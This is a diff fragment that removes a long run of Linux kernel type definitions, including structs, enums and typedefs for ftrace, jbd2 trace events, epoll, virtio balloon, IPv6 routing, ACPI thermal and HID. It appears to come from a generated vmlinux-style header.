-enum { - FBCON_LOGO_CANSHOW = -1, - FBCON_LOGO_DRAW = -2, - FBCON_LOGO_DONTSHOW = -3, -}; - -struct acpi_lpi_states_array { - unsigned int size; - unsigned int composite_states_size; - struct acpi_lpi_state *entries; - struct acpi_lpi_state *composite_states[8]; -}; - -struct lirc_scancode { - __u64 timestamp; - __u16 flags; - __u16 rc_proto; - __u32 keycode; - __u64 scancode; -}; - -struct lirc_fh { - struct list_head list; - struct rc_dev *rc; - int carrier_low; - struct { - union { - struct __kfifo kfifo; - unsigned int *type; - const unsigned int *const_type; - char (*rectype)[0]; - unsigned int *ptr; - const unsigned int *ptr_const; - }; - unsigned int buf[0]; - } rawir; - struct { - union { - struct __kfifo kfifo; - struct lirc_scancode *type; - const struct lirc_scancode *const_type; - char (*rectype)[0]; - struct lirc_scancode *ptr; - const struct lirc_scancode *ptr_const; - }; - struct lirc_scancode buf[0]; - } scancodes; - wait_queue_head_t wait_poll; - u8 send_mode; - u8 rec_mode; -}; - -struct update_classid_context { - u32 classid; - unsigned int batch; -}; - -enum ethtool_supported_ring_param { - ETHTOOL_RING_USE_RX_BUF_LEN = 1, - ETHTOOL_RING_USE_CQE_SIZE = 2, - ETHTOOL_RING_USE_TX_PUSH = 4, -}; - -enum { - ETHTOOL_TCP_DATA_SPLIT_UNKNOWN = 0, - ETHTOOL_TCP_DATA_SPLIT_DISABLED = 1, - ETHTOOL_TCP_DATA_SPLIT_ENABLED = 2, -}; - -struct rings_reply_data { - struct ethnl_reply_data base; - struct ethtool_ringparam ringparam; - struct kernel_ethtool_ringparam kernel_ringparam; -}; - -enum flowlabel_reflect { - FLOWLABEL_REFLECT_ESTABLISHED = 1, - FLOWLABEL_REFLECT_TCP_RESET = 2, - FLOWLABEL_REFLECT_ICMPV6_ECHO_REPLIES = 4, -}; - -struct tcp6_pseudohdr { - struct in6_addr saddr; - struct in6_addr daddr; - __be32 len; - __be32 protocol; -}; - -typedef long unsigned int mce_banks_t[1]; - -enum mcp_flags { - MCP_TIMESTAMP = 1, - MCP_UC = 2, - MCP_DONTLOG = 4, - MCP_QUEUE_LOG = 8, -}; - -enum { - CMCI_STORM_NONE = 0, - CMCI_STORM_ACTIVE = 1, - CMCI_STORM_SUBSIDED = 2, -}; - -enum { - KTW_FREEZABLE = 1, -}; - -struct kthread_create_info { - int (*threadfn)(void *); - void *data; - int node; - struct task_struct *result; - struct completion *done; - struct list_head list; -}; - -struct kthread { - long unsigned int flags; - unsigned int cpu; - int result; - int (*threadfn)(void *); - void *data; - struct completion parked; - struct completion exited; - struct cgroup_subsys_state *blkcg_css; - char *full_name; -}; - -enum KTHREAD_BITS { - KTHREAD_IS_PER_CPU = 0, - KTHREAD_SHOULD_STOP = 1, - KTHREAD_SHOULD_PARK = 2, -}; - -struct kthread_flush_work { - struct kthread_work work; - struct completion done; -}; - -enum ftrace_bug_type { - FTRACE_BUG_UNKNOWN = 0, - FTRACE_BUG_INIT = 1, - FTRACE_BUG_NOP = 2, - FTRACE_BUG_CALL = 3, - FTRACE_BUG_UPDATE = 4, -}; - -enum { - FTRACE_ITER_FILTER = 1, - FTRACE_ITER_NOTRACE = 2, - FTRACE_ITER_PRINTALL = 4, - FTRACE_ITER_DO_PROBES = 8, - FTRACE_ITER_PROBE = 16, - FTRACE_ITER_MOD = 32, - FTRACE_ITER_ENABLED = 64, -}; - -struct ftrace_mod_load { - struct list_head list; - char *func; - char *module; - int enable; -}; - -enum { - FTRACE_MODIFY_ENABLE_FL = 1, - FTRACE_MODIFY_MAY_SLEEP_FL = 2, -}; - -struct ftrace_func_probe { - struct ftrace_probe_ops *probe_ops; - struct ftrace_ops ops; - struct trace_array *tr; - struct list_head list; - void *data; - int ref; -}; - -struct ftrace_page { - struct ftrace_page *next; - struct dyn_ftrace *records; - int index; - int order; -}; - -struct ftrace_rec_iter { - struct ftrace_page *pg; - int index; -}; - -struct ftrace_iterator { - loff_t pos; - loff_t func_pos; - loff_t mod_pos; - struct ftrace_page *pg; - struct dyn_ftrace *func; - struct ftrace_func_probe *probe; - struct ftrace_func_entry *probe_entry; - struct trace_parser parser; - struct ftrace_hash *hash; - struct ftrace_ops *ops; - struct trace_array *tr; - struct list_head *mod_list; - int pidx; - int idx; - unsigned int flags; -}; - -struct ftrace_glob { - char *search; - unsigned int len; - int type; -}; - -struct ftrace_func_map { - struct ftrace_func_entry entry; - void *data; -}; - -struct ftrace_func_mapper { - struct ftrace_hash hash; -}; - -struct ftrace_direct_func { - struct list_head next; - long unsigned int addr; - int count; -}; - -enum graph_filter_type { - GRAPH_FILTER_NOTRACE = 0, - GRAPH_FILTER_FUNCTION = 1, -}; - -struct ftrace_graph_data { - struct ftrace_hash *hash; - struct ftrace_func_entry *entry; - int idx; - enum graph_filter_type type; - struct ftrace_hash *new_hash; - const struct seq_operations *seq_ops; - struct trace_parser parser; -}; - -struct ftrace_mod_func { - struct list_head list; - char *name; - long unsigned int ip; - unsigned int size; -}; - -struct ftrace_mod_map { - struct callback_head rcu; - struct list_head list; - struct module *mod; - long unsigned int start_addr; - long unsigned int end_addr; - struct list_head funcs; - unsigned int num_funcs; -}; - -struct ftrace_init_func { - struct list_head list; - long unsigned int ip; -}; - -struct kallsyms_data { - long unsigned int *addrs; - const char **syms; - size_t cnt; - size_t found; -}; - -enum { - RES_USAGE___2 = 0, - RES_RSVD_USAGE = 1, - RES_LIMIT___2 = 2, - RES_RSVD_LIMIT = 3, - RES_MAX_USAGE___2 = 4, - RES_RSVD_MAX_USAGE = 5, - RES_FAILCNT___2 = 6, - RES_RSVD_FAILCNT = 7, -}; - -struct epoll_filefd { - struct file *file; - int fd; -} __attribute__((packed)); - -struct epitem; - -struct eppoll_entry { - struct eppoll_entry *next; - struct epitem *base; - wait_queue_entry_t wait; - wait_queue_head_t *whead; -}; - -struct eventpoll; - -struct epitem { - union { - struct rb_node rbn; - struct callback_head rcu; - }; - struct list_head rdllink; - struct epitem *next; - struct epoll_filefd ffd; - struct eppoll_entry *pwqlist; - struct eventpoll *ep; - struct hlist_node fllink; - struct wakeup_source *ws; - struct epoll_event event; -}; - -struct eventpoll { - struct mutex mtx; - wait_queue_head_t wq; - wait_queue_head_t poll_wait; - struct list_head rdllist; - rwlock_t lock; - struct rb_root_cached rbr; - struct epitem *ovflist; - struct wakeup_source *ws; - struct user_struct *user; - struct file *file; - u64 gen; - struct hlist_head refs; - unsigned int napi_id; - u8 nests; -}; - -struct ep_pqueue { - poll_table pt; - struct epitem *epi; -}; - -struct epitems_head { - struct hlist_head epitems; - struct epitems_head *next; -}; - -struct bt_iter_data { - struct blk_mq_hw_ctx *hctx; - struct request_queue *q; - busy_tag_iter_fn *fn; - void *data; - bool reserved; -}; - -struct bt_tags_iter_data { - struct blk_mq_tags *tags; - busy_tag_iter_fn *fn; - void *data; - unsigned int flags; -}; - -typedef acpi_status (*acpi_object_converter)(struct acpi_namespace_node *, union acpi_operand_object *, union acpi_operand_object **); - -struct acpi_simple_repair_info { - char name[4]; - u32 unexpected_btypes; - u32 package_index; - acpi_object_converter object_converter; -}; - -struct virtio_balloon_config { - __le32 num_pages; - __le32 actual; - union { - __le32 free_page_hint_cmd_id; - __le32 free_page_report_cmd_id; - }; - __le32 poison_val; -}; - -struct virtio_balloon_stat { - __virtio16 tag; - __virtio64 val; -} __attribute__((packed)); - -struct balloon_dev_info { - long unsigned int isolated_pages; - spinlock_t pages_lock; - struct list_head pages; - int (*migratepage)(struct balloon_dev_info *, struct page *, struct page *, enum migrate_mode); -}; - -enum virtio_balloon_vq { - VIRTIO_BALLOON_VQ_INFLATE = 0, - VIRTIO_BALLOON_VQ_DEFLATE = 1, - VIRTIO_BALLOON_VQ_STATS = 2, - VIRTIO_BALLOON_VQ_FREE_PAGE = 3, - VIRTIO_BALLOON_VQ_REPORTING = 4, - VIRTIO_BALLOON_VQ_MAX = 5, -}; - -enum virtio_balloon_config_read { - VIRTIO_BALLOON_CONFIG_READ_CMD_ID = 0, -}; - -struct virtio_balloon { - struct virtio_device *vdev; - struct virtqueue *inflate_vq; - struct virtqueue *deflate_vq; - struct virtqueue *stats_vq; - struct virtqueue *free_page_vq; - struct workqueue_struct *balloon_wq; - struct work_struct report_free_page_work; - struct work_struct update_balloon_stats_work; - struct work_struct update_balloon_size_work; - spinlock_t stop_update_lock; - bool stop_update; - long unsigned int config_read_bitmap; - struct list_head free_page_list; - spinlock_t free_page_list_lock; - long unsigned int num_free_page_blocks; - u32 cmd_id_received_cache; - __virtio32 cmd_id_active; - __virtio32 cmd_id_stop; - wait_queue_head_t acked; - unsigned int num_pages; - struct balloon_dev_info vb_dev_info; - struct mutex balloon_lock; - unsigned int num_pfns; - __virtio32 pfns[256]; - struct virtio_balloon_stat stats[10]; - struct shrinker shrinker; - struct notifier_block oom_nb; - struct virtqueue *reporting_vq; - struct page_reporting_dev_info pr_dev_info; -}; - -enum SS4_PACKET_ID { - SS4_PACKET_ID_IDLE = 0, - SS4_PACKET_ID_ONE = 1, - SS4_PACKET_ID_TWO = 2, - SS4_PACKET_ID_MULTI = 3, - SS4_PACKET_ID_STICK = 4, -}; - -enum V7_PACKET_ID { - V7_PACKET_ID_IDLE = 0, - V7_PACKET_ID_TWO = 1, - V7_PACKET_ID_MULTI = 2, - V7_PACKET_ID_NEW = 3, - V7_PACKET_ID_UNKNOWN = 4, -}; - -struct alps_protocol_info { - u16 version; - u8 byte0; - u8 mask0; - unsigned int flags; -}; - -struct alps_model_info { - u8 signature[3]; - struct alps_protocol_info protocol_info; -}; - -struct alps_nibble_commands { - int command; - unsigned char data; -}; - -struct alps_bitmap_point { - int start_bit; - int num_bits; -}; - -struct alps_fields { - unsigned int x_map; - unsigned int y_map; - unsigned int fingers; - int pressure; - struct input_mt_pos st; - struct input_mt_pos mt[4]; - unsigned int first_mp: 1; - unsigned int is_mp: 1; - unsigned int left: 1; - unsigned int right: 1; - unsigned int middle: 1; - unsigned int ts_left: 1; - unsigned int ts_right: 1; - unsigned int ts_middle: 1; -}; - -struct alps_data { - struct psmouse *psmouse; - struct input_dev *dev2; - struct input_dev *dev3; - char phys2[32]; - char phys3[32]; - struct delayed_work dev3_register_work; - const struct alps_nibble_commands *nibble_commands; - int addr_command; - u16 proto_version; - u8 byte0; - u8 mask0; - u8 dev_id[3]; - u8 fw_ver[3]; - int flags; - int x_max; - int y_max; - int x_bits; - int y_bits; - unsigned int x_res; - unsigned int y_res; - int (*hw_init)(struct psmouse *); - void (*process_packet)(struct psmouse *); - int (*decode_fields)(struct alps_fields *, unsigned char *, struct psmouse *); - void (*set_abs_params)(struct alps_data *, struct input_dev *); - int prev_fin; - int multi_packet; - int second_touch; - unsigned char multi_data[6]; - struct alps_fields f; - u8 quirks; - struct timer_list timer; -}; - -struct cpuidle_state_kobj { - struct cpuidle_state *state; - struct cpuidle_state_usage *state_usage; - struct completion kobj_unregister; - struct kobject kobj; - struct cpuidle_device *device; -}; - -struct cpuidle_device_kobj { - struct cpuidle_device *dev; - struct completion kobj_unregister; - struct kobject kobj; -}; - -struct cpuidle_attr { - struct attribute attr; - ssize_t (*show)(struct cpuidle_device *, char *); - ssize_t (*store)(struct cpuidle_device *, const char *, size_t); -}; - -struct cpuidle_state_attr { - struct attribute attr; - ssize_t (*show)(struct cpuidle_state *, struct cpuidle_state_usage *, char *); - ssize_t (*store)(struct cpuidle_state *, struct cpuidle_state_usage *, const char *, size_t); -}; - -struct tso_t { - int next_frag_idx; - int size; - void *data; - u16 ip_id; - u8 tlen; - bool ipv6; - u32 tcp_seq; -}; - -struct uncached_list { - spinlock_t lock; - struct list_head head; - struct list_head quarantine; -}; - -struct rt_cache_stat { - unsigned int in_slow_tot; - unsigned int in_slow_mc; - unsigned int in_no_route; - unsigned int in_brd; - unsigned int in_martian_dst; - unsigned int in_martian_src; - unsigned int out_slow_tot; - unsigned int out_slow_mc; -}; - -struct nft_ct_frag6_pernet { - struct ctl_table_header *nf_frag_frags_hdr; - struct fqdir *fqdir; -}; - -struct pci_root_info___2 { - struct acpi_pci_root_info common; - struct pci_sysdata sd; - bool mcfg_added; - u8 start_bus; - u8 end_bus; -}; - -enum { - NONE_FORCE_HPET_RESUME = 0, - OLD_ICH_FORCE_HPET_RESUME = 1, - ICH_FORCE_HPET_RESUME = 2, - VT8237_FORCE_HPET_RESUME = 3, - NVIDIA_FORCE_HPET_RESUME = 4, - ATI_FORCE_HPET_RESUME = 5, -}; - -struct inactive_task_frame { - long unsigned int r15; - long unsigned int r14; - long unsigned int r13; - long unsigned int r12; - long unsigned int bx; - long unsigned int bp; - long unsigned int ret_addr; -}; - -struct profile_hit { - u32 pc; - u32 hits; -}; - -typedef __u16 comp_t; - -typedef __u32 comp2_t; - -struct acct { - char ac_flag; - char ac_version; - __u16 ac_uid16; - __u16 ac_gid16; - __u16 ac_tty; - __u32 ac_btime; - comp_t ac_utime; - comp_t ac_stime; - comp_t ac_etime; - comp_t ac_mem; - comp_t ac_io; - comp_t ac_rw; - comp_t ac_minflt; - comp_t ac_majflt; - comp_t ac_swaps; - __u16 ac_ahz; - __u32 ac_exitcode; - char ac_comm[17]; - __u8 ac_etime_hi; - __u16 ac_etime_lo; - __u32 ac_uid; - __u32 ac_gid; -}; - -typedef struct acct acct_t; - -struct bsd_acct_struct { - struct fs_pin pin; - atomic_long_t count; - struct callback_head rcu; - struct mutex lock; - int active; - long unsigned int needcheck; - struct file *file; - struct pid_namespace *ns; - struct work_struct work; - struct completion done; -}; - -struct wb_lock_cookie { - bool locked; - long unsigned int flags; -}; - -struct dirty_throttle_control { - struct wb_domain *dom; - struct dirty_throttle_control *gdtc; - struct bdi_writeback *wb; - struct fprop_local_percpu *wb_completions; - long unsigned int avail; - long unsigned int dirty; - long unsigned int thresh; - long unsigned int bg_thresh; - long unsigned int wb_dirty; - long unsigned int wb_thresh; - long unsigned int wb_bg_thresh; - long unsigned int pos_ratio; -}; - -struct trace_event_raw_jbd2_checkpoint { - struct trace_entry ent; - dev_t dev; - int result; - char __data[0]; -}; - -struct trace_event_raw_jbd2_commit { - struct trace_entry ent; - dev_t dev; - char sync_commit; - int transaction; - char __data[0]; -}; - -struct trace_event_raw_jbd2_end_commit { - struct trace_entry ent; - dev_t dev; - char sync_commit; - int transaction; - int head; - char __data[0]; -}; - -struct trace_event_raw_jbd2_submit_inode_data { - struct trace_entry ent; - dev_t dev; - ino_t ino; - char __data[0]; -}; - -struct trace_event_raw_jbd2_handle_start_class { - struct trace_entry ent; - dev_t dev; - long unsigned int tid; - unsigned int type; - unsigned int line_no; - int requested_blocks; - char __data[0]; -}; - -struct trace_event_raw_jbd2_handle_extend { - struct trace_entry ent; - dev_t dev; - long unsigned int tid; - unsigned int type; - unsigned int line_no; - int buffer_credits; - int requested_blocks; - char __data[0]; -}; - -struct trace_event_raw_jbd2_handle_stats { - struct trace_entry ent; - dev_t dev; - long unsigned int tid; - unsigned int type; - unsigned int line_no; - int interval; - int sync; - int requested_blocks; - int dirtied_blocks; - char __data[0]; -}; - -struct trace_event_raw_jbd2_run_stats { - struct trace_entry ent; - dev_t dev; - long unsigned int tid; - long unsigned int wait; - long unsigned int request_delay; - long unsigned int running; - long unsigned int locked; - long unsigned int flushing; - long unsigned int logging; - __u32 handle_count; - __u32 blocks; - __u32 blocks_logged; - char __data[0]; -}; - -struct trace_event_raw_jbd2_checkpoint_stats { - struct trace_entry ent; - dev_t dev; - long unsigned int tid; - long unsigned int chp_time; - __u32 forced_to_close; - __u32 written; - __u32 dropped; - char __data[0]; -}; - -struct trace_event_raw_jbd2_update_log_tail { - struct trace_entry ent; - dev_t dev; - tid_t tail_sequence; - tid_t first_tid; - long unsigned int block_nr; - long unsigned int freed; - char __data[0]; -}; - -struct trace_event_raw_jbd2_write_superblock { - struct trace_entry ent; - dev_t dev; - blk_opf_t write_flags; - char __data[0]; -}; - -struct trace_event_raw_jbd2_lock_buffer_stall { - struct trace_entry ent; - dev_t dev; - long unsigned int stall_ms; - char __data[0]; -}; - -struct trace_event_raw_jbd2_journal_shrink { - struct trace_entry ent; - dev_t dev; - long unsigned int nr_to_scan; - long unsigned int count; - char __data[0]; -}; - -struct trace_event_raw_jbd2_shrink_scan_exit { - struct trace_entry ent; - dev_t dev; - long unsigned int nr_to_scan; - long unsigned int nr_shrunk; - long unsigned int count; - char __data[0]; -}; - -struct trace_event_raw_jbd2_shrink_checkpoint_list { - struct trace_entry ent; - dev_t dev; - tid_t first_tid; - tid_t tid; - tid_t last_tid; - long unsigned int nr_freed; - long unsigned int nr_scanned; - tid_t next_tid; - char __data[0]; -}; - -struct trace_event_data_offsets_jbd2_checkpoint {}; - -struct trace_event_data_offsets_jbd2_commit {}; - -struct trace_event_data_offsets_jbd2_end_commit {}; - -struct trace_event_data_offsets_jbd2_submit_inode_data {}; - -struct trace_event_data_offsets_jbd2_handle_start_class {}; - -struct trace_event_data_offsets_jbd2_handle_extend {}; - -struct trace_event_data_offsets_jbd2_handle_stats {}; - -struct trace_event_data_offsets_jbd2_run_stats {}; - -struct trace_event_data_offsets_jbd2_checkpoint_stats {}; - -struct trace_event_data_offsets_jbd2_update_log_tail {}; - -struct trace_event_data_offsets_jbd2_write_superblock {}; - -struct trace_event_data_offsets_jbd2_lock_buffer_stall {}; - -struct trace_event_data_offsets_jbd2_journal_shrink {}; - -struct trace_event_data_offsets_jbd2_shrink_scan_exit {}; - -struct trace_event_data_offsets_jbd2_shrink_checkpoint_list {}; - -typedef void (*btf_trace_jbd2_checkpoint)(void *, journal_t *, int); - -typedef void (*btf_trace_jbd2_start_commit)(void *, journal_t *, transaction_t *); - -typedef void (*btf_trace_jbd2_commit_locking)(void *, journal_t *, transaction_t *); - -typedef void (*btf_trace_jbd2_commit_flushing)(void *, journal_t *, transaction_t *); - -typedef void (*btf_trace_jbd2_commit_logging)(void *, journal_t *, transaction_t *); - -typedef void (*btf_trace_jbd2_drop_transaction)(void *, journal_t *, transaction_t *); - -typedef void (*btf_trace_jbd2_end_commit)(void *, journal_t *, transaction_t *); - -typedef void (*btf_trace_jbd2_submit_inode_data)(void *, struct inode *); - -typedef void (*btf_trace_jbd2_handle_start)(void *, dev_t, long unsigned int, unsigned int, unsigned int, int); - -typedef void (*btf_trace_jbd2_handle_restart)(void *, dev_t, long unsigned int, unsigned int, unsigned int, int); - -typedef void (*btf_trace_jbd2_handle_extend)(void *, dev_t, long unsigned int, unsigned int, unsigned int, int, int); - -typedef void (*btf_trace_jbd2_handle_stats)(void *, dev_t, long unsigned int, unsigned int, unsigned int, int, int, int, int); - -typedef void (*btf_trace_jbd2_run_stats)(void *, dev_t, long unsigned int, struct transaction_run_stats_s *); - -typedef void (*btf_trace_jbd2_checkpoint_stats)(void *, dev_t, long unsigned int, struct transaction_chp_stats_s *); - -typedef void (*btf_trace_jbd2_update_log_tail)(void *, journal_t *, tid_t, long unsigned int, long unsigned int); - -typedef void (*btf_trace_jbd2_write_superblock)(void *, journal_t *, blk_opf_t); - -typedef void (*btf_trace_jbd2_lock_buffer_stall)(void *, dev_t, long unsigned int); - -typedef void (*btf_trace_jbd2_shrink_count)(void *, journal_t *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_jbd2_shrink_scan_enter)(void *, journal_t *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_jbd2_shrink_scan_exit)(void *, journal_t *, long unsigned int, long unsigned int, long unsigned int); - -typedef void (*btf_trace_jbd2_shrink_checkpoint_list)(void *, journal_t *, tid_t, tid_t, tid_t, long unsigned int, long unsigned int, tid_t); - -struct jbd2_stats_proc_session { - journal_t *journal; - struct transaction_stats_s *stats; - int start; - int max; -}; - -enum { - REQ_FSEQ_PREFLUSH = 1, - REQ_FSEQ_DATA = 2, - REQ_FSEQ_POSTFLUSH = 4, - REQ_FSEQ_DONE = 8, - REQ_FSEQ_ACTIONS = 7, - FLUSH_PENDING_TIMEOUT = 5000, -}; - -enum { - IO_SQ_THREAD_SHOULD_STOP = 0, - IO_SQ_THREAD_SHOULD_PARK = 1, -}; - -struct memdev { - const char *name; - umode_t mode; - const struct file_operations *fops; - fmode_t fmode; -}; - -struct node_access_nodes { - struct device dev; - struct list_head list_node; - unsigned int access; -}; - -struct node_attr { - struct device_attribute attr; - enum node_states state; -}; - -enum ptp_clock_events { - PTP_CLOCK_ALARM = 0, - PTP_CLOCK_EXTTS = 1, - PTP_CLOCK_PPS = 2, - PTP_CLOCK_PPSUSR = 3, -}; - -struct ptp_clock_event { - int type; - int index; - union { - u64 timestamp; - struct pps_event_time pps_times; - }; -}; - -enum { - LWT_BPF_PROG_UNSPEC = 0, - LWT_BPF_PROG_FD = 1, - LWT_BPF_PROG_NAME = 2, - __LWT_BPF_PROG_MAX = 3, -}; - -enum { - LWT_BPF_UNSPEC = 0, - LWT_BPF_IN = 1, - LWT_BPF_OUT = 2, - LWT_BPF_XMIT = 3, - LWT_BPF_XMIT_HEADROOM = 4, - __LWT_BPF_MAX = 5, -}; - -struct bpf_lwt { - struct bpf_lwt_prog in; - struct bpf_lwt_prog out; - struct bpf_lwt_prog xmit; - int family; -}; - -struct nf_log_buf { - unsigned int count; - char buf[1020]; -}; - -struct bpfilter_umh_ops { - struct umd_info info; - struct mutex lock; - int (*sockopt)(struct sock *, int, sockptr_t, unsigned int, bool); - int (*start)(); -}; - -struct in6_rtmsg { - struct in6_addr rtmsg_dst; - struct in6_addr rtmsg_src; - struct in6_addr rtmsg_gateway; - __u32 rtmsg_type; - __u16 rtmsg_dst_len; - __u16 rtmsg_src_len; - __u32 rtmsg_metric; - long unsigned int rtmsg_info; - __u32 rtmsg_flags; - int rtmsg_ifindex; -}; - -struct rt6_exception { - struct hlist_node hlist; - struct rt6_info *rt6i; - long unsigned int stamp; - struct callback_head rcu; -}; - -struct netevent_redirect { - struct dst_entry *old; - struct dst_entry *new; - struct neighbour *neigh; - const void *daddr; -}; - -struct trace_event_raw_fib6_table_lookup { - struct trace_entry ent; - u32 tb_id; - int err; - int oif; - int iif; - __u8 tos; - __u8 scope; - __u8 flags; - __u8 src[16]; - __u8 dst[16]; - u16 sport; - u16 dport; - u8 proto; - u8 rt_type; - char name[16]; - __u8 gw[16]; - char __data[0]; -}; - -struct trace_event_data_offsets_fib6_table_lookup {}; - -typedef void (*btf_trace_fib6_table_lookup)(void *, const struct net *, const struct fib6_result *, struct fib6_table *, const struct flowi6 *); - -enum rt6_nud_state { - RT6_NUD_FAIL_HARD = -3, - RT6_NUD_FAIL_PROBE = -2, - RT6_NUD_FAIL_DO_RR = -1, - RT6_NUD_SUCCEED = 1, -}; - -struct fib6_nh_dm_arg { - struct net *net; - const struct in6_addr *saddr; - int oif; - int flags; - struct fib6_nh *nh; -}; - -struct __rt6_probe_work { - struct work_struct work; - struct in6_addr target; - struct net_device *dev; - netdevice_tracker dev_tracker; -}; - -struct fib6_nh_frl_arg { - u32 flags; - int oif; - int strict; - int *mpri; - bool *do_rr; - struct fib6_nh *nh; -}; - -struct fib6_nh_excptn_arg { - struct rt6_info *rt; - int plen; -}; - -struct fib6_nh_match_arg { - const struct net_device *dev; - const struct in6_addr *gw; - struct fib6_nh *match; -}; - -struct fib6_nh_age_excptn_arg { - struct fib6_gc_args *gc_args; - long unsigned int now; -}; - -struct fib6_nh_rd_arg { - struct fib6_result *res; - struct flowi6 *fl6; - const struct in6_addr *gw; - struct rt6_info **ret; -}; - -struct ip6rd_flowi { - struct flowi6 fl6; - struct in6_addr gateway; -}; - -struct fib6_nh_del_cached_rt_arg { - struct fib6_config *cfg; - struct fib6_info *f6i; -}; - -struct arg_dev_net_ip { - struct net_device *dev; - struct net *net; - struct in6_addr *addr; -}; - -struct arg_netdev_event { - const struct net_device *dev; - union { - unsigned char nh_flags; - long unsigned int event; - }; -}; - -struct rt6_mtu_change_arg { - struct net_device *dev; - unsigned int mtu; - struct fib6_info *f6i; -}; - -struct rt6_nh { - struct fib6_info *fib6_info; - struct fib6_config r_cfg; - struct list_head next; -}; - -struct fib6_nh_exception_dump_walker { - struct rt6_rtnl_dump_arg *dump; - struct fib6_info *rt; - unsigned int flags; - unsigned int skip; - unsigned int count; -}; - -struct x86_cpu { - struct cpu cpu; -}; - -typedef long unsigned int old_sigset_t; - -enum { - TRACE_SIGNAL_DELIVERED = 0, - TRACE_SIGNAL_IGNORED = 1, - TRACE_SIGNAL_ALREADY_PENDING = 2, - TRACE_SIGNAL_OVERFLOW_FAIL = 3, - TRACE_SIGNAL_LOSE_INFO = 4, -}; - -struct trace_event_raw_signal_generate { - struct trace_entry ent; - int sig; - int errno; - int code; - char comm[16]; - pid_t pid; - int group; - int result; - char __data[0]; -}; - -struct trace_event_raw_signal_deliver { - struct trace_entry ent; - int sig; - int errno; - int code; - long unsigned int sa_handler; - long unsigned int sa_flags; - char __data[0]; -}; - -struct trace_event_data_offsets_signal_generate {}; - -struct trace_event_data_offsets_signal_deliver {}; - -typedef void (*btf_trace_signal_generate)(void *, int, struct kernel_siginfo *, struct task_struct *, int, int); - -typedef void (*btf_trace_signal_deliver)(void *, int, struct kernel_siginfo *, struct k_sigaction *); - -enum sig_handler { - HANDLER_CURRENT = 0, - HANDLER_SIG_DFL = 1, - HANDLER_EXIT = 2, -}; - -struct old_utimbuf32 { - old_time32_t actime; - old_time32_t modtime; -}; - -struct utimbuf { - __kernel_old_time_t actime; - __kernel_old_time_t modtime; -}; - -struct core_name { - char *corename; - int used; - int size; -}; - -struct ext4_new_group_data { - __u32 group; - __u64 block_bitmap; - __u64 inode_bitmap; - __u64 inode_table; - __u32 blocks_count; - __u16 reserved_blocks; - __u16 mdata_blocks; - __u32 free_clusters_count; -}; - -enum { - BLOCK_BITMAP = 0, - INODE_BITMAP = 1, - INODE_TABLE = 2, - GROUP_TABLE_COUNT = 3, -}; - -struct ext4_rcu_ptr { - struct callback_head rcu; - void *ptr; -}; - -struct ext4_new_flex_group_data { - struct ext4_new_group_data *groups; - __u16 *bg_flags; - ext4_group_t count; -}; - -struct crypto_report_kpp { - char type[64]; -}; - -struct crypto_kpp { - struct crypto_tfm base; -}; - -struct kpp_alg { - int (*set_secret)(struct crypto_kpp *, const void *, unsigned int); - int (*generate_public_key)(struct kpp_request *); - int (*compute_shared_secret)(struct kpp_request *); - unsigned int (*max_size)(struct crypto_kpp *); - int (*init)(struct crypto_kpp *); - void (*exit)(struct crypto_kpp *); - unsigned int reqsize; - struct crypto_alg base; -}; - -struct kpp_instance { - void (*free)(struct kpp_instance *); - union { - struct { - char head[56]; - struct crypto_instance base; - } s; - struct kpp_alg alg; - }; -}; - -struct crypto_kpp_spawn { - struct crypto_spawn base; -}; - -struct portdrv_service_data { - struct pcie_port_service_driver *drv; - struct device *dev; - u32 service; -}; - -typedef int (*pcie_callback_t)(struct pcie_device *); - -typedef enum { - ACPI_TRACE_AML_METHOD = 0, - ACPI_TRACE_AML_OPCODE = 1, - ACPI_TRACE_AML_REGION = 2, -} acpi_trace_event_type; - -struct acpi_thermal_state { - u8 critical: 1; - u8 hot: 1; - u8 passive: 1; - u8 active: 1; - u8 reserved: 4; - int active_index; -}; - -struct acpi_thermal_state_flags { - u8 valid: 1; - u8 enabled: 1; - u8 reserved: 6; -}; - -struct acpi_thermal_critical { - struct acpi_thermal_state_flags flags; - long unsigned int temperature; -}; - -struct acpi_thermal_hot { - struct acpi_thermal_state_flags flags; - long unsigned int temperature; -}; - -struct acpi_thermal_passive { - struct acpi_thermal_state_flags flags; - long unsigned int temperature; - long unsigned int tc1; - long unsigned int tc2; - long unsigned int tsp; - struct acpi_handle_list devices; -}; - -struct acpi_thermal_active { - struct acpi_thermal_state_flags flags; - long unsigned int temperature; - struct acpi_handle_list devices; -}; - -struct acpi_thermal_trips { - struct acpi_thermal_critical critical; - struct acpi_thermal_hot hot; - struct acpi_thermal_passive passive; - struct acpi_thermal_active active[10]; -}; - -struct acpi_thermal_flags { - u8 cooling_mode: 1; - u8 devices: 1; - u8 reserved: 6; -}; - -struct acpi_thermal { - struct acpi_device *device; - acpi_bus_id name; - long unsigned int temperature; - long unsigned int last_temperature; - long unsigned int polling_frequency; - volatile u8 zombie; - struct acpi_thermal_flags flags; - struct acpi_thermal_state state; - struct acpi_thermal_trips trips; - struct acpi_handle_list devices; - struct thermal_zone_device *thermal_zone; - int kelvin_offset; - struct work_struct thermal_check_work; - struct mutex thermal_check_lock; - refcount_t thermal_check_count; -}; - -struct hsu_dma_slave { - struct device *dma_dev; - int chan_id; -}; - -struct hsu_dma; - -struct hsu_dma_chip { - struct device *dev; - int irq; - void *regs; - unsigned int length; - unsigned int offset; - struct hsu_dma *hsu; -}; - -struct mid8250; - -struct mid8250_board { - unsigned int flags; - long unsigned int freq; - unsigned int base_baud; - int (*setup)(struct mid8250 *, struct uart_port *); - void (*exit)(struct mid8250 *); -}; - -struct mid8250 { - int line; - int dma_index; - struct pci_dev *dma_dev; - struct uart_8250_dma dma; - struct mid8250_board *board; - struct hsu_dma_chip dma_chip; -}; - -union input_seq_state { - struct { - short unsigned int pos; - bool mutex_acquired; - }; - void *p; -}; - -struct input_devres { - struct input_dev *input; -}; - -struct hid_item { - unsigned int format; - __u8 size; - __u8 type; - __u8 tag; - union { - __u8 u8; - __s8 s8; - __u16 u16; - __s16 s16; - __u32 u32; - __s32 s32; - __u8 *longdata; - } data; -}; - -struct hid_global { - unsigned int usage_page; - __s32 logical_minimum; - __s32 logical_maximum; - __s32 physical_minimum; - __s32 physical_maximum; - __s32 unit_exponent; - unsigned int unit; - unsigned int report_id; - unsigned int report_size; - unsigned int report_count; -}; - -struct hid_local { - unsigned int usage[12288]; - u8 usage_size[12288]; - unsigned int collection_index[12288]; - unsigned int usage_index; - unsigned int usage_minimum; - unsigned int delimiter_depth; - unsigned int delimiter_branch; -}; - 